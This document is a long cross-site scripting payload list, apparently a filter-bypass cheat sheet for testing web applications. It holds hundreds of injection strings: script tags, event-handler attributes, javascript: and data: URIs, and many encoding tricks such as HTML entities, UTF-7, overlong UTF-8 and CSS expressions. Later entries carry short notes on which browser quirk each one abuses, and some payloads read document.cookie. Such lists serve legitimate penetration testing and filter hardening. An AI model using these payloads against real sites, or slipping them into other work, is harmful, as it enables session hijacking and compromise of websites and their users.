<input onfocus=write(1) autofocus> 
<script>alert(1)</script>
</script><img src=x onerror=alert(1);>
</script><iframe/onload=alert(1)>
<img src=x onerror=alert(1);>
<style ONLOAD=prompt(1)>
<iframe/onload=alert(1)>
<svg/onload=prompt(1)>
<svg onload=alert(1)>
data:text/plain,alert('xwx')
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==					 
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video onerror="javascript:alert(1)"><source>
<audio onerror="javascript:alert(1)"><source>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form><button formaction="javascript:alert(1)">	
"style=background:black; onmouseover=alert(1)"
"autofocus/onfocus="alert(1)
"onmouseover="alert(1);"
"/onmouseover= alert(1)>
"onload="alert(1)""
<input onblur=write(1) autofocus><input autofocus>
"autofocus/onfocus="alert &#40/1&#41
onfocus=onfocus=\u0061lert(1) autofocus
autofocus onfocus=window.onerror=alert;throw/1/;//
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>	
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<h1 onmouseover=alert&lpar;1&rpar;>xwx
<h1/onmouseover='\u0061lert(1)'>xwx
<marquee/onstart=alert(1)>xwx
<div/onmouseover='alert(1)'>xwx
<h1/onmouseover='alert(1)'>xwx
<h1 onmouseover='alert(1)'>xwx
<p onmouseover='alert(1)'>xwx
<p/onmouseover='alert(1)'>xwx
<plaintext/onmouseover=prompt(1)> 
<video poster=javascript:alert(1)//></video>
<svg><x><script>alert&#40;1&#41</x>
<svg><x><script>alert&#40;&#39;1&#39;&#41</x>
<svg onload=window.onerror=alert;throw/1/;//"/>
<img src=x onerror=while(true){prompt(1)}>
<iframe src=""/srcdoc='&lt;svg onload&equals;alert&lpar;1&rpar;&gt;'>
<!--<img src="--><img src=x onerror=alert(1)//">
<svg id=javascript:alert(1) onload=location=id>
<svg id=alert(1) onload=eval(id)>
<img src=x:alert(alt) onerror=eval(src) alt=xwx>
<body/onpageshow=(alert)(1)>
<svg id=alert(1) onload=eval(id)>
<svg onload=(alert)(1) >
<frameset onload=alert(1)>
<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<video><source onerror="javascript:alert(1)">
<form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button>
<video onerror="javascript:alert(1)"><source></source></video> 
alert( String(/XSS[s]/).substr(1,4) );
(sessionStorage[!-1]=alert)(!-1)
<script>alert( String(/XSS[s]/).substr(1,4) );(sessionStorage[!-1]=alert)(!-1)</script> 
<form><button formaction="javascript:alert(1)">X</button> 
<body oninput=alert(1)><input autofocus>
<video poster="#" onmouseover="prompt(1)">
<math href="javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(1)">CLICKME</maction> </math>
"><img src=x "onmouseover"=prompt(1);>
"><sCRipT>alert(123);</sCRipT><input value="
" onmouseover="prompt(1)"/ 
<svg/onload=';alert(document.domain);'>
<sCRipT>alert('XSS');</sCRipT>
<sCRipT>alert(123);</sCRipT>
</script><svg onload="alert(/x/)"><script>
"><sCRipT>alert('XSS');</sCRipT>
"><sCRipT>alert(123);</sCRipT>
<style TYPE="text/javascript">alert('hello');</style>
"><sCRipT>alert('XSS');</sCRipT><input value="
</textarea><sCRipT>alert('XSS');</sCRipT><textarea rows=1 cols=1>
</textarea><sCRipT>alert(123);</sCRipT><textarea rows=1 cols=1>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></sCRipT>">'><sCRipT>alert(String.fromCharCode(88,83,83))</sCRipT>
(onclick="alert(’XSSRes’))
"><img src=x onerror=alert(document.cookie)>
"/>0\"autofocus/onfocus=alert(/XSSPO SED/)--><video/poster/onerror=prompt(/XSSPOSED/)>"-confirm(/XSSPOSED/)-"
onclick="alert(’XSSRes’)
<input onfocus="prompt(1337)"> 
<img src="javascript:alert('hello');">
<img src="java&#010;script:alert('hello');">
<img src="java&#X0A;script:alert('hello');">
<IMG SRC="javasCRipT:alert('XSS');">
" +onmouseover%3d'alert(%22xss%22)%3b''=""
</script><script>alert('XSSTARXESED')</script>
<IMG SRC=javasCRipT:alert('XSS')>
<IMG SRC=JaVasCRipT:alert('XSS')>
<IMG SRC=javasCRipT:alert("XSS")>
'">><marquee><h1>XSS</h1></marquee>
" onmouseover="alert(123);" xss="
</sCRipT>">'><sCRipT>prompt(1);</sCRipT>
</title><sCRipT>prompt(1);</sCRipT>
</script><script>prompt(1)</script>
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="javasCRipT:alert('XSS');">
<IMG SRC="jav&#x09;asCRipT:alert('XSS');">
<IMG SRC="jav&#x0A;asCRipT:alert('XSS');">
<IMG SRC="jav&#x0D;asCRipT:alert('XSS');">
perl -e 'print "<IMG SRC=java\0sCRipT:alert(\"XSS\")>";' > out
<IMG SRC=" &#14;  javasCRipT:alert('XSS');">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")><input value="
<<sCRipT>alert("XSS");//<</sCRipT>
<img src='zzzz' onerror='alert(1)' />
<IMG SRC="javasCRipT:alert('XSS')"
\";alert('XSS');//
\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e
</TITLE><sCRipT>alert("XSS");</sCRipT><TITLE>
<INPUT TYPE="IMAGE" SRC="javasCRipT:alert('XSS');">
<IMG DYNSRC="javasCRipT:alert('XSS')">
<IMG LOWSRC="javasCRipT:alert('XSS')">
<STYLE>li {list-style-image: url("javasCRipT:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<BGSOUND SRC="javasCRipT:alert('XSS');">
<LINK REL="stylesheet" HREF="javasCRipT:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
<STYLE type="text/css">BODY{background:url("javasCRipT:alert('XSS')")}</STYLE>
<XSS STYLE="behavior: url(xss.htc);">
¼sCRipT¾alert(¢XSS¢)¼/sCRipT¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javasCRipT:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javasCRipT:alert('XSS');">
<IFRAME SRC="javasCRipT:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<TABLE BACKGROUND="javasCRipT:alert('XSS')">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
 <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-sCRipT+AD4-alert('XSS');+ADw-/sCRipT+AD4-
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<sCRipT>alert('XSS')</sCRipT>">
<sCRipT =">" >alert(123);</sCRipT>
"></textarea>';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></sCRipT>">'><sCRipT>alert(String.fromCharCode(88,83,83))</sCRipT><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=javasCRipT:alert('XSS')><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=JaVasCRipT:alert('XSS')><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=javasCRipT:alert("XSS")><textarea rows=1 cols=1><input value="
"></textarea>" onmouseover="alert(123);" xss="<textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="jav	asCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="jav&#x09;asCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="jav&#x0A;asCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="jav&#x0D;asCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea>perl -e 'print "<IMG SRC=java\0sCRipT:alert(\"XSS\")>";' > out<textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=" &#14;  javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")><textarea rows=1 cols=1><input value="
"></textarea>"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")><input value="<textarea rows=1 cols=1><input value="
"></textarea><<sCRipT>alert("XSS");//<</sCRipT><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="javasCRipT:alert('XSS')"<textarea rows=1 cols=1><input value="
"></textarea>\";alert('XSS');//<textarea rows=1 cols=1><input value="
"></textarea></TITLE><sCRipT>alert("XSS");</sCRipT><TITLE><textarea rows=1 cols=1><input value="
"></textarea><INPUT TYPE="IMAGE" SRC="javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG DYNSRC="javasCRipT:alert('XSS')"><textarea rows=1 cols=1><input value="
"></textarea><IMG LOWSRC="javasCRipT:alert('XSS')"><textarea rows=1 cols=1><input value="
"></textarea><STYLE>li {list-style-image: url("javasCRipT:alert('XSS')");}</STYLE><UL><LI>XSS</br><textarea rows=1 cols=1><input value="
"></textarea><BGSOUND SRC="javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><LINK REL="stylesheet" HREF="javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><BR SIZE="&{alert('XSS')}"><textarea rows=1 cols=1><input value="
"></textarea><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"><textarea rows=1 cols=1><input value="
"></textarea><XSS STYLE="xss:expression(alert('XSS'))"><textarea rows=1 cols=1><input value="
"></textarea><STYLE type="text/css">BODY{background:url("javasCRipT:alert('XSS')")}</STYLE><textarea rows=1 cols=1><input value="
"></textarea><XSS STYLE="behavior: url(xss.htc);"><textarea rows=1 cols=1><input value="
"></textarea>¼sCRipT¾alert(¢XSS¢)¼/sCRipT¾<textarea rows=1 cols=1><input value="
"></textarea><META HTTP-EQUIV="refresh" CONTENT="0;url=javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"><textarea rows=1 cols=1><input value="
"></textarea><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IFRAME SRC="javasCRipT:alert('XSS');"></IFRAME><textarea rows=1 cols=1><input value="
"></textarea><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME><textarea rows=1 cols=1><input value="
"></textarea><TABLE BACKGROUND="javasCRipT:alert('XSS')"><textarea rows=1 cols=1><input value="
"></textarea><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"><textarea rows=1 cols=1><input value="
"></textarea> <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-sCRipT+AD4-alert('XSS');+ADw-/sCRipT+AD4-<textarea rows=1 cols=1><input value="
"></textarea><META HTTP-EQUIV="Set-Cookie" Content="USERID=<sCRipT>alert('XSS')</sCRipT>"><textarea rows=1 cols=1><input value="
"></textarea><sCRipT =">" >alert(123);</sCRipT><textarea rows=1 cols=1><input value="
<sCRip<script>T>alert('XSS');</sCRip<script>T>
<sCRip<script>T>alert(123);</sCRip<script>T>
"><sCRip<script>T>alert('XSS');</sCRip<script>T>
"><sCRip<script>T>alert(123);</sCRip<script>T>
"><sCRip<script>T>alert('XSS');</sCRip<script>T><input value="
"><sCRip<script>T>alert(123);</sCRip<script>T><input value="
</textarea><sCRip<script>T>alert('XSS');</sCRip<script>T><textarea rows=1 cols=1>
</textarea><sCRip<script>T>alert(123);</sCRip<script>T><textarea rows=1 cols=1>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></sCRip<script>T>">'><sCRip<script>T>alert(String.fromCharCode(88,83,83))</sCRip<script>T>
<IMG SRC="javasCRipT:alert('XSS');">
<IMG SRC=javasCRipT:alert('XSS')>
<IMG SRC=JaVasCRipT:alert('XSS')>
<IMG SRC=javasCRipT:alert("XSS")>
" onmouseover="alert(123);" xss="
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav	asCRipT:alert('XSS');">
<IMG SRC="jav&#x09;asCRipT:alert('XSS');">
<IMG SRC="jav&#x0A;asCRipT:alert('XSS');">
<IMG SRC="jav&#x0D;asCRipT:alert('XSS');">
perl -e 'print "<IMG SRC=java\0sCRipT:alert(\"XSS\")>";' > out
<IMG SRC=" &#14;  javasCRipT:alert('XSS');">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")><input value="
<<sCRip<script>T>alert("XSS");//<</sCRip<script>T>
<IMG SRC="javasCRipT:alert('XSS')"
\";alert('XSS');//
</TITLE><sCRip<script>T>alert("XSS");</sCRip<script>T><TITLE>
<INPUT TYPE="IMAGE" SRC="javasCRipT:alert('XSS');">
<IMG DYNSRC="javasCRipT:alert('XSS')">
<IMG LOWSRC="javasCRipT:alert('XSS')">
<STYLE>li {list-style-image: url("javasCRipT:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<BGSOUND SRC="javasCRipT:alert('XSS');">
<LINK REL="stylesheet" HREF="javasCRipT:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
<STYLE type="text/css">BODY{background:url("javasCRipT:alert('XSS')")}</STYLE>
<XSS STYLE="behavior: url(xss.htc);">
¼sCRipT¾alert(¢XSS¢)¼/sCRipT¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javasCRipT:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javasCRipT:alert('XSS');">
<IFRAME SRC="javasCRipT:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<TABLE BACKGROUND="javasCRipT:alert('XSS')">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
 <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-sCRipT+AD4-alert('XSS');+ADw-/sCRipT+AD4-
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<sCRip<script>T>alert('XSS')</sCRip<script>T>">
<sCRipT =">" >alert(123);</sCRip<script>T>
"></textarea>';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></sCRip<script>T>">'><sCRip<script>T>alert(String.fromCharCode(88,83,83))</sCRip<script>T><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=javasCRipT:alert('XSS')><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=JaVasCRipT:alert('XSS')><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=javasCRipT:alert("XSS")><textarea rows=1 cols=1><input value="
"></textarea>" onmouseover="alert(123);" xss="<textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="jav	asCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="jav&#x09;asCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="jav&#x0A;asCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="jav&#x0D;asCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea>perl -e 'print "<IMG SRC=java\0sCRipT:alert(\"XSS\")>";' > out<textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=" &#14;  javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")><textarea rows=1 cols=1><input value="
"></textarea>"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")><input value="<textarea rows=1 cols=1><input value="
"></textarea><<sCRip<script>T>alert("XSS");//<</sCRip<script>T><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="javasCRipT:alert('XSS')"<textarea rows=1 cols=1><input value="
"></textarea>\";alert('XSS');//<textarea rows=1 cols=1><input value="
"></textarea></TITLE><sCRip<script>T>alert("XSS");</sCRip<script>T><TITLE><textarea rows=1 cols=1><input value="
"></textarea><INPUT TYPE="IMAGE" SRC="javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG DYNSRC="javasCRipT:alert('XSS')"><textarea rows=1 cols=1><input value="
"></textarea><IMG LOWSRC="javasCRipT:alert('XSS')"><textarea rows=1 cols=1><input value="
"></textarea><STYLE>li {list-style-image: url("javasCRipT:alert('XSS')");}</STYLE><UL><LI>XSS</br><textarea rows=1 cols=1><input value="
"></textarea><BGSOUND SRC="javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><LINK REL="stylesheet" HREF="javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><BR SIZE="&{alert('XSS')}"><textarea rows=1 cols=1><input value="
"></textarea><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"><textarea rows=1 cols=1><input value="
"></textarea><XSS STYLE="xss:expression(alert('XSS'))"><textarea rows=1 cols=1><input value="
"></textarea><STYLE type="text/css">BODY{background:url("javasCRipT:alert('XSS')")}</STYLE><textarea rows=1 cols=1><input value="
"></textarea><XSS STYLE="behavior: url(xss.htc);"><textarea rows=1 cols=1><input value="
"></textarea>¼sCRipT¾alert(¢XSS¢)¼/sCRipT¾<textarea rows=1 cols=1><input value="
"></textarea><META HTTP-EQUIV="refresh" CONTENT="0;url=javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"><textarea rows=1 cols=1><input value="
"></textarea><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IFRAME SRC="javasCRipT:alert('XSS');"></IFRAME><textarea rows=1 cols=1><input value="
"></textarea><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME><textarea rows=1 cols=1><input value="
"></textarea><TABLE BACKGROUND="javasCRipT:alert('XSS')"><textarea rows=1 cols=1><input value="
"></textarea><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"><textarea rows=1 cols=1><input value="
"></textarea> <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-sCRipT+AD4-alert('XSS');+ADw-/sCRipT+AD4-<textarea rows=1 cols=1><input value="
"></textarea><META HTTP-EQUIV="Set-Cookie" Content="USERID=<sCRip<script>T>alert('XSS')</sCRip<script>T>"><textarea rows=1 cols=1><input value="
"></textarea><sCRipT =">" >alert(123);</sCRip<script>T><textarea rows=1 cols=1><input value=""></textarea><sCRipT =">" >alert(123);</sCRip<script>T><textarea rows=1 cols=1><input value=""></textarea><sCRipT =">" >alert(123);</sCRip<script>T><textarea rows=1 cols=1><input value="
HaRdc0r3 caS3 s3nsit1vITy bYpa55!
<sCrIpt>alert(1)</ScRipt>
<iMg srC=1 lAnGuAGE=VbS oNeRroR=mSgbOx(1)>

Null-byte character between HTML attribute name and equal sign (IE, Safari).
<img src='1' onerror\x00=alert(0) />

Slash character between HTML attribute name and equal sign (IE, Firefox, Chrome, Safari).
<img src='1' onerror/=alert(0) />

Vertical tab between HTML attribute name and equal sign (IE, Safari).
<img src='1' onerror\x0b=alert(0) />

Null-byte character between equal sign and JavaScript code (IE).
<img src='1' onerror=\x00alert(0) />

Null-byte character between characters of HTML attribute names (IE).
<img src='1' o\x00nerr\x00or=alert(0) />

Null-byte character before characters of HTML element names (IE).
<\x00img src='1' onerror=alert(0) />

Null-byte character after characters of HTML element names (IE, Safari).
<script\x00>alert(1)</script>

Null-byte character between characters of HTML element names (IE).
<i\x00mg src='1' onerror=alert(0) />

Use slashes instead of whitespace (IE, Firefox, Chrome, Safari).
<img/src='1'/onerror=alert(0)>

Use vertical tabs instead of whitespace (IE, Safari).
<img\x0bsrc='1'\x0bonerror=alert(0)>

Use quotes instead of whitespace in some situations (Safari).
<img src='1''onerror='alert(0)'>
<img src='1'"onerror="alert(0)">

Use null-bytes instead of whitespaces in some situations (IE).
<img src='1'\x00onerror=alert(0)>

Just don't use spaces (IE, Firefox, Chrome, Safari).
<img src='1'onerror=alert(0)>

Prefix URI schemes.
Firefox (\x09, \x0a, \x0d, \x20)
Chrome (Any character \x01 to \x20)
<iframe src="\x01javascript:alert(0)"></iframe> <!-- Example for Chrome -->

No greater-than characters needed (IE, Firefox, Chrome, Safari).
<img src='1' onerror='alert(0)' <

Extra less-than characters (IE, Firefox, Chrome, Safari).
<<script>alert(0)</script>

Backslash character between expression and opening parenthesis (IE).
<style>body{background-color:expression\(alert(1))}</style>

JavaScript Escaping
<script>document.write('<a hr\ef=j\avas\cript\:a\lert(2)>blah</a>');</script>

Encoding Galore.

HTML Attribute Encoding
<img src="1" onerror="alert(1)" />
<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
<iframe src="javascript:alert(1)"></iframe>
<iframe src="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"></iframe>

URL Encoding
<iframe src="javascript:alert(1)"></iframe>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>

CSS Hexadecimal Encoding (IE specific examples)
<div style="x:expression(alert(1))">Joker</div>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">Joker</div>
<div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">Joker</div>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">Joker</div>

JavaScript (hexadecimal, octal, and unicode)
<script>document.write('<img src=1 onerror=alert(1)>');</script>
<script>document.write('\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E');</script>
<script>document.write('\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076');</script>
<script>document.write('\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E');</script>

JavaScript (Decimal char codes)
<script>document.write('<img src=1 onerror=alert(1)>');</script>
<script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,49,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,48,41,62));</script>

JavaScript (Unicode function and variable names)
<script>alert(123)</script>
<script>\u0061\u006C\u0065\u0072\u0074(123)</script>

Overlong UTF-8 (SiteMinder is awesome!)
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2

<img src="1" onnerror="alert(1)">
%E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2alert(1)%E0%80%A2%E0%80%BE

UTF-7 (Missing charset?)
<img src="1" onerror="alert(1)" />
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-

Unicode .NET Ugliness
<script>alert(1)</script>
%uff1cscript%uff1ealert(1)%uff1c/script%uff1e

Classic ASP performs some unicode homoglyphic translations... don't ask why...
<img src="1" onerror="alert('1')">
%u3008img%20src%3D%221%22%20onerror%3D%22alert(%uFF071%uFF07)%22%u232A

Useless and/or Useful features.

HTML 5 (Not comphrensive)
<video src="http://www.w3schools.com/html5/movie.ogg" onloadedmetadata="alert(1)" />
<video src="http://www.w3schools.com/html5/movie.ogg" onloadstart="alert(1)" />

Usuage of non-existent elements (IE)
<blah style="blah:expression(alert(1))" />

CSS Comments (IE)
<div style="z:exp/*anything*/res/*here*/sion(alert(1))" />

Alternate ways of executing JavaScript functions
<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
